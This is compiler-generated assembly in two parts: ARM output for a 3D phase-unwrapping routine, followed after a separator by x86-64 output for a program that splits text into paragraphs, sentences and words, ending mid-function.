ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-16]
str r2, [r3, #12]
ldr r3, [fp, #-20]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-20]
add r3, r2, r3
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-16]
stm r1, {r2-r3}
ldr r3, [fp, #-20]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-20]
add r3, r2, r3
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-16]
str r2, [r3, #16]
ldr r3, [fp, #-16]
add r3, r3, #24
str r3, [fp, #-16]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L190:
ldr r3, [fp, #-20]
add r3, r3, #48
str r3, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L189:
ldr r2, [fp, #-32]
ldr r3, [fp, #-48]
cmp r2, r3
blt .L191
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-20]
add r3, r3, r2
str r3, [fp, #-20]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L188:
ldr r2, [fp, #-36]
ldr r3, [fp, #4]
cmp r2, r3
blt .L192
.L187:
ldr r3, [fp, #8]
ldr r2, [fp, #-24]
str r2, [r3, #20]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size verticalEDGEs, .-verticalEDGEs
.align 2
.global normalEDGEs
.syntax unified
.arm
.fpu softvfp
.type normalEDGEs, %function
normalEDGEs:
@ args = 8, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
ldr r3, [fp, #8]
ldr r3, [r3, #20]
str r3, [fp, #-28]
ldr r3, [fp, #-56]
ldr r2, [fp, #-60]
mul r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-56]
ldr r2, [fp, #-60]
mul r2, r3, r2
ldr r3, [fp, #4]
mul r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-48]
str r3, [fp, #-24]
ldr r2, [fp, #-28]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
mov r2, r3
ldr r3, [fp, #-52]
add r3, r3, r2
str r3, [fp, #-20]
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
sub r3, r2, r3
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-40]
b .L194
.L200:
mov r3, #0
str r3, [fp, #-36]
b .L195
.L199:
mov r3, #0
str r3, [fp, #-32]
b .L196
.L198:
ldr r3, [fp, #-24]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L197
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-24]
add r3, r3, r2
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L197
ldr r3, [fp, #-20]
ldr r2, [fp, #-24]
str r2, [r3, #8]
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-24]
add r2, r3, r2
ldr r3, [fp, #-20]
str r2, [r3, #12]
ldr r3, [fp, #-24]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-24]
add r3, r3, r2
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-20]
stm r1, {r2-r3}
ldr r3, [fp, #-24]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-24]
add r3, r3, r2
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-20]
str r2, [r3, #16]
ldr r3, [fp, #-20]
add r3, r3, #24
str r3, [fp, #-20]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L197:
ldr r3, [fp, #-24]
add r3, r3, #48
str r3, [fp, #-24]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L196:
ldr r2, [fp, #-32]
ldr r3, [fp, #-56]
cmp r2, r3
blt .L198
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L195:
ldr r2, [fp, #-36]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L199
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L194:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-40]
cmp r2, r3
blt .L200
ldr r3, [fp, #8]
ldr r3, [r3, #16]
cmp r3, #1
bne .L201
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-48]
add r3, r3, r2
str r3, [fp, #-24]
mov r3, #0
str r3, [fp, #-36]
b .L202
.L206:
mov r3, #0
str r3, [fp, #-32]
b .L203
.L205:
ldr r3, [fp, #-24]
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L204
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-24]
add r3, r2, r3
ldrb r3, [r3, #24] @ zero_extendqisi2
cmp r3, #0
bne .L204
ldr r3, [fp, #-20]
ldr r2, [fp, #-24]
str r2, [r3, #8]
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-24]
add r2, r2, r3
ldr r3, [fp, #-20]
str r2, [r3, #12]
ldr r3, [fp, #-24]
add r1, r3, #16
ldmia r1, {r0-r1}
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-24]
add r3, r2, r3
add r3, r3, #16
ldmia r3, {r2-r3}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-20]
stm r1, {r2-r3}
ldr r3, [fp, #-24]
add r1, r3, #8
ldmia r1, {r0-r1}
ldr r2, [fp, #-8]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
rsb r3, r3, #0
ldr r2, [fp, #-24]
add r3, r2, r3
add r3, r3, #8
ldmia r3, {r2-r3}
bl find_wrap
mov r2, r0
ldr r3, [fp, #-20]
str r2, [r3, #16]
ldr r3, [fp, #-20]
add r3, r3, #24
str r3, [fp, #-20]
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L204:
ldr r3, [fp, #-24]
add r3, r3, #48
str r3, [fp, #-24]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L203:
ldr r2, [fp, #-32]
ldr r3, [fp, #-56]
cmp r2, r3
blt .L205
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L202:
ldr r2, [fp, #-36]
ldr r3, [fp, #-60]
cmp r2, r3
blt .L206
.L201:
ldr r3, [fp, #8]
ldr r2, [fp, #-28]
str r2, [r3, #20]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size normalEDGEs, .-normalEDGEs
.align 2
.global gatherVOXELs
.syntax unified
.arm
.fpu softvfp
.type gatherVOXELs, %function
gatherVOXELs:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #44
str r0, [fp, #-40]
str r1, [fp, #-44]
ldr r3, [fp, #-40]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-32]
b .L208
.L217:
ldr r3, [fp, #-20]
ldr r3, [r3, #8]
str r3, [fp, #-16]
ldr r3, [fp, #-20]
ldr r3, [r3, #12]
str r3, [fp, #-12]
ldr r3, [fp, #-12]
ldr r2, [r3, #36]
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
cmp r2, r3
beq .L209
ldr r3, [fp, #-12]
ldr r3, [r3, #44]
cmp r3, #0
bne .L210
ldr r3, [fp, #-12]
ldr r3, [r3, #36]
ldr r2, [fp, #-12]
cmp r2, r3
bne .L210
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
ldr r3, [r3, #40]
ldr r2, [fp, #-12]
str r2, [r3, #44]
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
ldr r2, [fp, #-12]
str r2, [r3, #40]
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
ldr r2, [r3, #4]
add r2, r2, #1
str r2, [r3, #4]
ldr r3, [fp, #-16]
ldr r2, [r3, #36]
ldr r3, [fp, #-12]
str r2, [r3, #36]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3, #16]
sub r2, r2, r3
ldr r3, [fp, #-12]
str r2, [r3]
b .L209
.L210:
ldr r3, [fp, #-16]
ldr r3, [r3, #44]
cmp r3, #0
bne .L211
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
ldr r2, [fp, #-16]
cmp r2, r3
bne .L211
ldr r3, [fp, #-12]
ldr r3, [r3, #36]
ldr r3, [r3, #40]
ldr r2, [fp, #-16]
str r2, [r3, #44]
ldr r3, [fp, #-12]
ldr r3, [r3, #36]
ldr r2, [fp, #-16]
str r2, [r3, #40]
ldr r3, [fp, #-12]
ldr r3, [r3, #36]
ldr r2, [r3, #4]
add r2, r2, #1
str r2, [r3, #4]
ldr r3, [fp, #-12]
ldr r2, [r3, #36]
ldr r3, [fp, #-16]
str r2, [r3, #36]
ldr r3, [fp, #-12]
ldr r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3, #16]
add r2, r2, r3
ldr r3, [fp, #-16]
str r2, [r3]
b .L209
.L211:
ldr r3, [fp, #-16]
ldr r3, [r3, #36]
str r3, [fp, #-28]
ldr r3, [fp, #-12]
ldr r3, [r3, #36]
str r3, [fp, #-24]
ldr r3, [fp, #-28]
ldr r2, [r3, #4]
ldr r3, [fp, #-24]
ldr r3, [r3, #4]
cmp r2, r3
ble .L212
ldr r3, [fp, #-28]
ldr r3, [r3, #40]
ldr r2, [fp, #-24]
str r2, [r3, #44]
ldr r3, [fp, #-24]
ldr r2, [r3, #40]
ldr r3, [fp, #-28]
str r2, [r3, #40]
ldr r3, [fp, #-28]
ldr r2, [r3, #4]
ldr r3, [fp, #-24]
ldr r3, [r3, #4]
add r2, r2, r3
ldr r3, [fp, #-28]
str r2, [r3, #4]
ldr r3, [fp, #-16]
ldr r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3, #16]
sub r2, r2, r3
ldr r3, [fp, #-12]
ldr r3, [r3]
sub r3, r2, r3
str r3, [fp, #-8]
b .L213
.L214:
ldr r3, [fp, #-24]
ldr r2, [fp, #-28]
str r2, [r3, #36]
ldr r3, [fp, #-24]
ldr r2, [r3]
ldr r3, [fp, #-8]
add r2, r2, r3
ldr r3, [fp, #-24]
str r2, [r3]
ldr r3, [fp, #-24]
ldr r3, [r3, #44]
str r3, [fp, #-24]
.L213:
ldr r3, [fp, #-24]
cmp r3, #0
bne .L214
b .L209
.L212:
ldr r3, [fp, #-24]
ldr r3, [r3, #40]
ldr r2, [fp, #-28]
str r2, [r3, #44]
ldr r3, [fp, #-28]
ldr r2, [r3, #40]
ldr r3, [fp, #-24]
str r2, [r3, #40]
ldr r3, [fp, #-24]
ldr r2, [r3, #4]
ldr r3, [fp, #-28]
ldr r3, [r3, #4]
add r2, r2, r3
ldr r3, [fp, #-24]
str r2, [r3, #4]
ldr r3, [fp, #-12]
ldr r2, [r3]
ldr r3, [fp, #-20]
ldr r3, [r3, #16]
add r2, r2, r3
ldr r3, [fp, #-16]
ldr r3, [r3]
sub r3, r2, r3
str r3, [fp, #-8]
b .L215
.L216:
ldr r3, [fp, #-28]
ldr r2, [fp, #-24]
str r2, [r3, #36]
ldr r3, [fp, #-28]
ldr r2, [r3]
ldr r3, [fp, #-8]
add r2, r2, r3
ldr r3, [fp, #-28]
str r2, [r3]
ldr r3, [fp, #-28]
ldr r3, [r3, #44]
str r3, [fp, #-28]
.L215:
ldr r3, [fp, #-28]
cmp r3, #0
bne .L216
.L209:
ldr r3, [fp, #-20]
add r3, r3, #24
str r3, [fp, #-20]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L208:
ldr r3, [fp, #-44]
ldr r3, [r3, #20]
ldr r2, [fp, #-32]
cmp r2, r3
blt .L217
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size gatherVOXELs, .-gatherVOXELs
.align 2
.global unwrapVolume
.syntax unified
.arm
.fpu softvfp
.type unwrapVolume, %function
unwrapVolume:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #32
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, [fp, #-36]
ldr r2, [fp, #-40]
mul r2, r3, r2
ldr r3, [fp, #-44]
mul r3, r2, r3
str r3, [fp, #-16]
ldr r3, [fp, #-32]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-24]
b .L219
.L220:
ldr r3, [fp, #-20]
add r5, r3, #8
ldmia r5, {r4-r5}
ldr r3, [fp, #-20]
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
ldr r2, .L221
ldr r3, .L221+4
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-20]
str r2, [r1, #8]
str r3, [r1, #12]
ldr r3, [fp, #-20]
add r3, r3, #48
str r3, [fp, #-20]
ldr r3, [fp, #-24]
add r3, r3, #1
str r3, [fp, #-24]
.L219:
ldr r2, [fp, #-24]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L220
nop
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L222:
.align 2
.L221:
.word 1413754136
.word 1075388923
.size unwrapVolume, .-unwrapVolume
.align 2
.global maskVolume
.syntax unified
.arm
.fpu softvfp
.type maskVolume, %function
maskVolume:
@ args = 4, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
str r0, [fp, #-48]
str r1, [fp, #-52]
str r2, [fp, #-56]
str r3, [fp, #-60]
ldr r3, [fp, #-56]
add r3, r3, #1
str r3, [fp, #-32]
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-28]
ldr r3, [fp, #-56]
sub r3, r3, #1
str r3, [fp, #-24]
ldr r3, [fp, #-60]
sub r3, r3, #1
str r3, [fp, #-20]
ldr r3, [fp, #-48]
str r3, [fp, #-44]
ldr r3, [fp, #-52]
str r3, [fp, #-40]
mov r2, #-67108864
ldr r3, .L232
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r3, [fp, #-56]
ldr r2, [fp, #-60]
mul r2, r3, r2
ldr r3, [fp, #4]
mul r3, r2, r3
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-36]
b .L224
.L227:
ldr r3, [fp, #-44]
add r3, r3, #8
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L225
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L225
ldr r3, [fp, #-44]
add r3, r3, #8
ldmia r3, {r2-r3}
str r2, [fp, #-12]
str r3, [fp, #-8]
.L225:
ldr r3, [fp, #-44]
add r3, r3, #48
str r3, [fp, #-44]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L224:
ldr r2, [fp, #-36]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L227
ldr r3, [fp, #-48]
str r3, [fp, #-44]
ldr r3, [fp, #-52]
str r3, [fp, #-40]
mov r3, #0
str r3, [fp, #-36]
b .L228
.L230:
ldr r3, [fp, #-40]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #1
bne .L229
ldr r1, [fp, #-44]
sub r3, fp, #12
ldmia r3, {r2-r3}
str r2, [r1, #8]
str r3, [r1, #12]
.L229:
ldr r3, [fp, #-44]
add r3, r3, #48
str r3, [fp, #-44]
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L228:
ldr r2, [fp, #-36]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L230
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L233:
.align 2
.L232:
.word 1100470147
.size maskVolume, .-maskVolume
.align 2
.global returnVolume
.syntax unified
.arm
.fpu softvfp
.type returnVolume, %function
returnVolume:
@ args = 4, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #36
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r3, [fp, #-32]
ldr r2, [fp, #-36]
mul r2, r3, r2
ldr r3, [fp, #4]
mul r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-28]
str r3, [fp, #-16]
ldr r3, [fp, #-24]
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-20]
b .L235
.L236:
ldr r3, [fp, #-12]
add r3, r3, #8
ldmia r3, {r2-r3}
ldr r1, [fp, #-16]
stm r1, {r2-r3}
ldr r3, [fp, #-12]
add r3, r3, #48
str r3, [fp, #-12]
ldr r3, [fp, #-16]
add r3, r3, #8
str r3, [fp, #-16]
ldr r3, [fp, #-20]
add r3, r3, #1
str r3, [fp, #-20]
.L235:
ldr r2, [fp, #-20]
ldr r3, [fp, #-8]
cmp r2, r3
blt .L236
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size returnVolume, .-returnVolume
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global unwrap3D
.syntax unified
.arm
.fpu softvfp
.type unwrap3D, %function
unwrap3D:
@ args = 20, pretend = 0, frame = 72
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #88
str r0, [fp, #-64]
str r1, [fp, #-68]
str r2, [fp, #-72]
str r3, [fp, #-76]
ldr r3, .L239
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r2, .L239+4
ldr r3, .L239+8
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r3, [fp, #12]
str r3, [fp, #-28]
ldr r3, [fp, #16]
str r3, [fp, #-24]
ldr r3, [fp, #20]
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-16]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
mul r2, r3, r2
ldr r3, [fp, #8]
mul r3, r2, r3
str r3, [fp, #-56]
ldr r3, [fp, #-76]
ldr r2, [fp, #4]
mul r3, r2, r3
ldr r2, [fp, #8]
mul r2, r3, r2
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
str r3, [fp, #-52]
ldr r3, [fp, #-56]
mov r1, #1
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-48]
ldr r3, [fp, #-56]
mov r1, #48
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-44]
ldr r3, [fp, #-52]
mov r1, #24
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-40]
sub r3, fp, #36
str r3, [sp, #4]
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-48]
ldr r0, [fp, #-72]
bl extend_mask
ldr r3, [fp, #8]
str r3, [sp, #8]
ldr r3, [fp, #4]
str r3, [sp, #4]
ldr r3, [fp, #-76]
str r3, [sp]
ldr r3, [fp, #-44]
ldr r2, [fp, #-48]
ldr r1, [fp, #-72]
ldr r0, [fp, #-64]
bl initialiseVOXELs
sub r3, fp, #36
str r3, [sp, #4]
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-44]
ldr r0, [fp, #-64]
bl calculate_reliability
sub r3, fp, #36
str r3, [sp, #4]
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-40]
ldr r0, [fp, #-44]
bl horizontalEDGEs
sub r3, fp, #36
str r3, [sp, #4]
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-40]
ldr r0, [fp, #-44]
bl verticalEDGEs
sub r3, fp, #36
str r3, [sp, #4]
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-40]
ldr r0, [fp, #-44]
bl normalEDGEs
ldr r3, [fp, #-16]
mov r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
sub r3, r3, #24
ldr r2, [fp, #-40]
add r3, r2, r3
mov r1, r3
ldr r0, [fp, #-40]
bl quicker_sort
sub r3, fp, #36
mov r1, r3
ldr r0, [fp, #-40]
bl gatherVOXELs
ldr r3, [fp, #8]
ldr r2, [fp, #4]
ldr r1, [fp, #-76]
ldr r0, [fp, #-44]
bl unwrapVolume
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-72]
ldr r0, [fp, #-44]
bl maskVolume
ldr r3, [fp, #8]
str r3, [sp]
ldr r3, [fp, #4]
ldr r2, [fp, #-76]
ldr r1, [fp, #-68]
ldr r0, [fp, #-44]
bl returnVolume
ldr r0, [fp, #-40]
bl free
ldr r0, [fp, #-44]
bl free
ldr r0, [fp, #-48]
bl free
nop
ldr r3, .L239
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L238
bl __stack_chk_fail
.L238:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L240:
.align 2
.L239:
.word .LC1
.word 1413754136
.word 1075388923
.size unwrap3D, .-unwrap3D
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "264144.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d"
.LC1:
.string "%d %d %d"
.LC2:
.string "%d %d"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 80
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, 0
call get_input_text
mov QWORD PTR -56[rbp], rax
mov rax, QWORD PTR -56[rbp]
mov rdi, rax
call get_document
mov QWORD PTR -48[rbp], rax
mov QWORD PTR -40[rbp], rdx
lea rax, -76[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
jmp .L2
.L6:
lea rax, -72[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -72[rbp]
cmp eax, 3
jne .L3
lea rcx, -60[rbp]
lea rdx, -64[rbp]
lea rax, -68[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edi, DWORD PTR -60[rbp]
mov ecx, DWORD PTR -64[rbp]
mov edx, DWORD PTR -68[rbp]
mov rsi, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
mov r8d, edi
mov rdi, rsi
mov rsi, rax
call kth_word_in_mth_sentence_of_nth_paragraph
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov rdi, rax
call print_word
jmp .L4
.L3:
mov eax, DWORD PTR -72[rbp]
cmp eax, 2
jne .L5
lea rdx, -60[rbp]
lea rax, -64[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov ecx, DWORD PTR -60[rbp]
mov edx, DWORD PTR -64[rbp]
mov rsi, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
mov rdi, rsi
mov rsi, rax
call kth_sentence_in_mth_paragraph
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rdx, QWORD PTR -32[rbp]
mov rax, QWORD PTR -24[rbp]
mov rdi, rdx
mov rsi, rax
call print_sentence
jmp .L4
.L5:
lea rax, -60[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov edx, DWORD PTR -60[rbp]
mov rcx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
mov rdi, rcx
mov rsi, rax
call kth_paragraph
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rdx, QWORD PTR -32[rbp]
mov rax, QWORD PTR -24[rbp]
mov rdi, rdx
mov rsi, rax
call print_paragraph
.L4:
mov edi, 10
call putchar@PLT
.L2:
mov eax, DWORD PTR -76[rbp]
lea edx, -1[rax]
mov DWORD PTR -76[rbp], edx
test eax, eax
jne .L6
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L8
call __stack_chk_fail@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.section .rodata
.LC3:
.string "\n"
.LC4:
.string "."
.LC5:
.string " "
.text
.globl get_document
.type get_document, @function
get_document:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 184
.cfi_offset 3, -24
mov QWORD PTR -184[rbp], rdi
mov rax, QWORD PTR fs:40
mov QWORD PTR -24[rbp], rax
xor eax, eax
lea rax, .LC3[rip]
mov QWORD PTR -104[rbp], rax
lea rax, .LC4[rip]
mov QWORD PTR -96[rbp], rax
lea rax, .LC5[rip]
mov QWORD PTR -88[rbp], rax
mov DWORD PTR -168[rbp], 0
mov rdx, QWORD PTR -104[rbp]
mov rax, QWORD PTR -184[rbp]
mov rsi, rdx
mov rdi, rax
call strtok@PLT
mov QWORD PTR -144[rbp], rax
jmp .L10
.L11:
mov eax, DWORD PTR -168[rbp]
lea edx, 1[rax]
mov DWORD PTR -168[rbp], edx
cdqe
mov rdx, QWORD PTR -144[rbp]
mov QWORD PTR -64[rbp+rax*8], rdx
mov rax, QWORD PTR -104[rbp]
mov rsi, rax
mov edi, 0
call strtok@PLT
mov QWORD PTR -144[rbp], rax
.L10:
cmp QWORD PTR -144[rbp], 0
jne .L11
mov eax, DWORD PTR -168[rbp]
mov DWORD PTR -72[rbp], eax
mov eax, DWORD PTR -168[rbp]
cdqe
mov esi, 16
mov rdi, rax
call calloc@PLT
mov QWORD PTR -80[rbp], rax
mov DWORD PTR -164[rbp], 0
jmp .L12
.L21:
mov DWORD PTR -160[rbp], 0
mov QWORD PTR -136[rbp], 0
mov eax, DWORD PTR -164[rbp]
cdqe
mov rax, QWORD PTR -64[rbp+rax*8]
mov rdx, QWORD PTR -96[rbp]
mov rsi, rdx
mov rdi, rax
call strtok@PLT
mov QWORD PTR -128[rbp], rax
jmp .L13
.L14:
mov eax, DWORD PTR -160[rbp]
add eax, 1
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
mov rsi, rdx
mov rdi, rax
call realloc@PLT
mov QWORD PTR -136[rbp], rax
mov eax, DWORD PTR -160[rbp]
lea edx, 1[rax]
mov DWORD PTR -160[rbp], edx
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -136[rbp]
add rdx, rax
mov rax, QWORD PTR -128[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -96[rbp]
mov rsi, rax
mov edi, 0
call strtok@PLT
mov QWORD PTR -128[rbp], rax
.L13:
cmp QWORD PTR -128[rbp], 0
jne .L14
mov rdx, QWORD PTR -80[rbp]
mov eax, DWORD PTR -164[rbp]
cdqe
sal rax, 4
add rdx, rax
mov eax, DWORD PTR -160[rbp]
mov DWORD PTR 8[rdx], eax
mov eax, DWORD PTR -160[rbp]
cdqe
mov rcx, QWORD PTR -80[rbp]
